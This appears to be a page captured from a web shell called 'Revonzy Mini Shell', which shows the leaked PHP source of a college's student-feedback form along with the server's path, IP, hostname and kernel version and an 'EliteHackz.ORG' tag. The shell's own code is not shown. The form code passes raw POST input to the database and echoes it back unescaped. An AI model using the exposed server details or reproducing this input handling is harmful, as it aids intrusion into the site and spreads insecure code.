Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/lbpmsolapur.org/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/lbpmsolapur.org/ssr-feedback.php

<!--
	Powered By - Dream Technology, Solapur.
	Contact No : +91 9595775120
	Email ID - dream.technology@outlook.com
-->
<?php
	require_once("admin/lib/functions.php");
	$db             = new login_function();
	$flag           = 0;
    $full_name      ="";
    $sclass         ="";
    $syllabus       ="";
    $classes        ="";
    $communication  ="";
    $approach       ="";
    $evaluation     ="";
    $performance    ="";
    $internship     ="";
    $process        ="";
    $opportunities  ="";
    $programme      ="";
    $task           ="";
    $concepts       ="";
    $challenges     ="";
    $help           ="";
    $review         ="";
    $centric        ="";
    $encourage      ="";
    $skills         ="";
    $sreview         ="";
    $quality        ="";
    $txtcno         ="";
    $txtcno1        ="";
    $txtcno2        ="";
	$succ_flag       = 0;
	
	if(isset($_POST['contact_btn']))
	{
    	$full_name		=	$_POST['full_name'];
        $sclass			=	$_POST['sclass'];
        $syllabus		=	$_POST['syllabus'];
        $classes		=	$_POST['classes'];
        $communication	=	$_POST['communication'];
        $approach		=	$_POST['approach'];
        $evaluation		=	$_POST['evaluation'];
        $performance	=	$_POST['performance'];
        $internship		=	$_POST['internship'];
        $process		=	$_POST['process'];
        $opportunities	=	$_POST['opportunities'];
        $programme		=	$_POST['programme'];
        $task			=	$_POST['task'];
        $concepts		=	$_POST['concepts'];
        $challenges		=	$_POST['challenges'];
        $help			=	$_POST['help'];
        $review			=	$_POST['review'];
        $centric		=	$_POST['centric'];
        $encourage		=	$_POST['encourage'];
        $skills			=	$_POST['skills'];
        $sreview		=	$_POST['sreview'];
        $quality		=	$_POST['quality'];
        $txtcno			=	$_POST['txtcno'];
        $txtcno1		=	$_POST['txtcno1'];
        $txtcno2		=	$_POST['txtcno2'];
    	if($db->add_online_feedback($full_name,$sclass,$syllabus,$classes,$communication,$approach,$evaluation,$performance,$internship,$process,$opportunities,$programme,$task,$concepts,$challenges,$help,$review,$centric,$encourage,$skills,$sreview,$quality,$txtcno,$txtcno1,$txtcno2))
			{
				$succ_flag  = 1;
			}

	
	}
	
?>	

<DOCTYPE html>
<html>
<head>
<link href="css/style.css" rel="stylesheet" type="text/css" media="all" />
    <link href='http://fonts.googleapis.com/css?family=Montserrat+Alternates' rel='stylesheet' type='text/css'>
	<title>Laxmibai Bhaurao Patil Mahila Mahavidyalaya</title>
	<link rel="stylesheet" type="text/css" href="css/stylesheet.css"/>
	
	
</head>
<body>	
	
	<?php
		require_once("lib/header.php");
	?>
		<style>

	.tab_data
	{
		background:#E91546;
		font-weight:bold;
		font-size:16px;
		color:white;
		border-right:0px solid black;
	}
	tr td
	{
		padding:10px;
		border:0px solid black;
		text-align:center;
	}
	th 
	{
		padding:10px;
	}
	</style>
	<div name="tab_container">
		<div class="main_container" style="min-height:1000px;">
		
		<div class="page_highlighter" style="background:orange">SSR Feedback</div>
			
			<?php
				require_once("highlights.php");
			?>
			<div class="data_container" style="margin-top:10px; min-height:1000px;">
				
		<form method="post" action="">
	
			<table border="0">
				
					
					<tr>
						<td class="msg" colspan=2>
							<?php
								if($succ_flag==1)
								{
									echo "Your message sent sucessfully";
								}
								else if($succ_flag==2)
								{
									echo "Sorry, Your message not sent";
								}									
							?>
						</td>
						</tr>
				</table>

			    <label>Full Name</label><input type="text" name="full_name" class="order_txt" style="margin-left:12px;" ><br /><br />
			    <label>Class</label><input type="text" name="sclass" class="order_txt" style="margin-left:42px;" ><br /><br />
                
				<p>1. How much of the syllabus was covered in the class?    </p><br />
				<input type="radio"  name="syllabus"  value="85 to 100%" checked>85 to 100%<br />
				<input type="radio"  name="syllabus"  value="70 to 84%">70 to 84%  <br />
				<input type="radio" name="syllabus"  value="55 to 69%">55 to 69%<br />
				<input type="radio" name="syllabus"  value="30 to 54%">30 to 54%<br />
				<input type="radio" name="syllabus"  value="Below 30%">Below 30% <br /><br />
				
				<p>2.How well did the teachers prepare for the classes?</p><br />
				<input type="radio"  name="classes"  value="Thoroughly" checked>Thoroughly <br />
				<input type="radio"  name="classes"  value="Satisfactorily"> Satisfactorily <br />
				<input type="radio" name="classes"  value="Poorly"> Poorly <br />
				<input type="radio" name="classes"  value="Indifferently">Indifferently <br />
				<input type="radio" name="classes"  value="Won’t teach at all"> Won’t teach at all <br /><br />
				
				<p>3.How well were the teachers able to communicate?</p><br />
				<input type="radio"  name="communication"  value="Always effective" checked>Always effective<br />
				<input type="radio"  name="communication"  value="Sometimes effective"> Sometimes effective <br />
				<input type="radio" name="communication"  value="Just satisfactorily">Just satisfactorily <br />
				<input type="radio" name="communication"  value=" Generally ineffective"> Generally ineffective<br />
		    	<input type="radio" name="communication"  value="Very poor communication"> Very poor communication<br /></br>
				<p>4. The teacher’s approach to teaching can best be described as   </p><br />
				<input type="radio"  name="approach"  value="Excellent" checked>Excellent<br />
				<input type="radio"  name="approach"  value="Very Good">Very Good<br />
				<input type="radio" name="approach"  value="Good">Good<br />
				<input type="radio" name="approach"  value="Fair">Fair<br />
				<input type="radio" name="approach"  value="Poor">Poor<br /><br />	
				
				<p>5.  Fairness of the internal evaluation process by the teachers.    </p><br />
				<input type="radio"  name="evaluation"  value="Always fair" checked> Always fair <br />
				<input type="radio"  name="evaluation"  value="Usually fair">Usually fair <br />
				<input type="radio" name="evaluation"  value="Sometimes unfair ">Sometimes unfair <br />
				<input type="radio" name="evaluation"  value="Usually unfair">Usually unfair<br />
				<input type="radio" name="evaluation"  value="Unfair">Unfair<br /><br />
				
				<p>6. Was your performance in assignments discussed with you?     </p><br />
				<input type="radio"  name="performance"  value="Every time" checked>Every time<br />
				<input type="radio"  name="performance"  value="Usually">Usually<br />
				<input type="radio" name="performance"  value="Occasionally/Sometimes">Occasionally/Sometime<br />
				<input type="radio" name="performance"  value="Rarely">Rarely<br />
				<input type="radio" name="performance"  value="Never">Never <br /><br />
				<p>7.The institute takes active interest in promoting internship, student exchange, field visit opportunities for students.  </p><br />
				<input type="radio"  name="internship"  value="Regularly" checked>  Regularly  <br />
				<input type="radio"  name="internship"  value="Often">Often<br />
				<input type="radio" name="internship"  value="Sometimes"> Sometimes  <br />
				<input type="radio" name="internship"  value="Rarely">Rarely<br />
				<input type="radio" name="internship"  value="Never">Never<br /><br />
				
				<p>8. The teaching and mentoring process in your institution facilitates you in cognitive, social and emotional growth.  </p><br />
				<input type="radio"  name="process"  value="Significantly" checked>Significantly<br />
				<input type="radio"  name="process"  value="Very well">Very well <br />
				<input type="radio" name="process"  value=" Moderately">Moderately<br />
				<input type="radio" name="process"  value=" Marginally">Marginally<br />
				<input type="radio" name="process"  value="Not at all">Not at all <br /><br />
				<p>9. The institution provides multiple opportunities to learn and grow.</p><br />
				<input type="radio"  name="opportunities"  value=" Strongly agree " checked>   Strongly agree  <br />
				<input type="radio"  name="opportunities"  value="Agree"> Agree <br />
				<input type="radio" name="opportunities"  value="Neutral"> Neutral <br />
				<input type="radio" name="opportunities"  value="Disagree">Disagree <br />
				<input type="radio" name="opportunities"  value="Strongly disagree">Strongly disagree <br /><br />
				<p>10. Teachers inform you about your expected competencies, course outcomes and programme outcomes.  </p><br />
				<input type="radio"  name="programme"  value="Every time " checked> Every time<br />
				<input type="radio"  name="programme"  value=" Usually "> Usually <br />
				<input type="radio" name="programme"  value=" Occasionally/Sometimes ">Occasionally/Sometimes<br />
				<input type="radio" name="programme"  value="Rarely">Rarely<br />
				<input type="radio" name="programme"  value="Never">Never<br /><br />
				<p>11. Your mentor does a necessary follow-up with an assigned task to you.   </p><br />
				<input type="radio"  name="task"  value="Every time " checked> Every time<br />
				<input type="radio"  name="task"  value=" Usually "> Usually <br />
				<input type="radio" name="task"  value=" Occasionally/Sometimes ">Occasionally/Sometimes<br />
				<input type="radio" name="task"  value="Rarely">Rarely<br />
				<input type="radio" name="task"  value="Never">Never<br /><br />
				<p>12. The teachers illustrate the concepts through examples and applications. </p><br />
				<input type="radio"  name="concepts"  value="Every time " checked> Every time<br />
				<input type="radio"  name="concepts"  value=" Usually "> Usually <br />
				<input type="radio"  name="concepts"  value=" Occasionally/Sometimes ">Occasionally/Sometimes<br />
				<input type="radio"  name="concepts"  value="Rarely">Rarely<br />
				<input type="radio"  name="concepts"  value="Never">Never<br /><br />
				<p>13. The teachers identify your strengths and encourage you with providing right level of challenges.  </p><br />
				<input type="radio"  name="challenges"  value="Fully" checked>Fully<br />
				<input type="radio"  name="challenges"  value="Reasonably">Reasonably<br />
				<input type="radio" name="challenges"  value=" Partially ">Partially<br />
				<input type="radio" name="challenges"  value="Slightly">Slightly <br />
				<input type="radio" name="challenges"  value=" Unable to"> Unable to <br /><br />
				<p>14.  Teachers are able to identify your weaknesses and help you to overcome them. </p><br />
				<input type="radio"  name="help"  value="Every time " checked> Every time<br />
				<input type="radio"  name="help"  value=" Usually "> Usually <br />
				<input type="radio"  name="help"  value=" Occasionally/Sometimes ">Occasionally/Sometimes<br />
				<input type="radio"  name="help"  value="Rarely">Rarely<br />
				<input type="radio"  name="help"  value="Never">Never<br /><br />
				<p>15. The institution makes effort to engage students in the monitoring, review and continuous quality improvement of the teaching learning process.   </p><br />
				<input type="radio"  name="review"  value=" Strongly agree " checked>   Strongly agree  <br />
				<input type="radio"  name="review"  value="Agree"> Agree <br />
				<input type="radio" name="review"  value="Neutral"> Neutral <br />
				<input type="radio" name="review"  value="Disagree">Disagree <br />
				<input type="radio" name="review"  value="Strongly disagree">Strongly disagree <br /><br />
				
				<p>16. The institute/ teachers use student centric methods, such as experiential learning, participative learning and problem solving methodologies for enhancing learning experiences. </p><br />
				<input type="radio"  name="centric"  value=" To a great exten" checked>  To a great extent  <br />
				<input type="radio"  name="centric"  value="Moderate"> Moderate<br />
				<input type="radio" name="centric"  value="Some what"> Some what<br />
				<input type="radio" name="centric"  value="Very little"> Very little <br />
				<input type="radio" name="centric"  value="Not at all">Not at all<br /><br />
				<p>17.  Teachers encourage you to participate in extracurricular activities. </p><br />
				<input type="radio"  name="encourage"  value=" Strongly agree " checked>Strongly agree <br />
				<input type="radio"  name="encourage"  value="Agree"> Agree <br />
				<input type="radio" name="encourage"  value="Neutral"> Neutral <br />
				<input type="radio" name="encourage"  value="Disagree">Disagree <br />
				<input type="radio" name="encourage"  value="Strongly disagree">Strongly disagree <br /><br />
				<p>18. Efforts are made by the institute/ teachers to inculcate soft skills, life skills and employability skills to make you ready for the world of work.   </p><br />
				<input type="radio"  name="skills"  value=" To a great exten" checked>  To a great extent  <br />
				<input type="radio"  name="skills"  value="Moderate"> Moderate<br />
				<input type="radio" name="skills"  value="Some what"> Some what<br />
				<input type="radio" name="skills"  value="Very little"> Very little <br />
				<input type="radio" name="skills"  value="Not at all">Not at all<br /><br />
				<p>19. What percentage of teachers use ICT tools such as LCD projector, Multimedia, etc. while teaching.   </p><br />
				<input type="radio"  name="sreview"  value="Above 90%" checked>Above 90% <br />
				<input type="radio"  name="sreview"  value="70 – 89%">  70 – 89%  <br />
				<input type="radio" name="sreview"  value="50 – 69% "> 50 – 69%  <br />
				<input type="radio" name="sreview"  value="30 – 49%"> 30 – 49%  <br />
				<input type="radio" name="sreview"  value="Below 29% "> Below 29%  <br /><br />
				<p>20. The overall quality of teaching-learning process in your institute is very good.</p><br />
				<input type="radio"  name="quality"  value=" Strongly agree " checked> Strongly agre <br />
				<input type="radio"  name="quality"  value="Agree"> Agree <br />
				<input type="radio" name="quality"  value="Neutral"> Neutral <br />
				<input type="radio" name="quality"  value="Disagree">Disagree <br />
				<input type="radio" name="quality"  value="Strongly disagree">Strongly disagree <br /><br />
				
				<p>21. Give three observation / suggestions to improve the overall teaching – learning experience in your institution.  
                </p><br />
					<textarea  class="order_txt" name="txtcno" id="txtcno" style=" height:80px" required><?php echo $txtno; ?></textarea> <br /> <br />
				    <textarea  class="order_txt" name="txtcno1" id="txtcno" style=" height:80px" required><?php echo $txtcno1; ?></textarea> <br /> <br />
                	<textarea  class="order_txt" name="txtcno2" id="txtcno" style=" height:80px" required><?php echo $txtcno2; ?></textarea> <br /> <br />

				<table>
					<tr class="tr1">
						<td></td>
						<td class="order_btn_contnr">
							<input type="submit" value="Submit" name="contact_btn" class="contact_btn">
						</td>
					</tr>
					<tr>
						<td></td>
					</tr>
				</table>
				</form>

</div>	
		
				
			</div>
		</div>
	</div>
			
	<?php
		require_once("lib/footer.php");
	?>
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4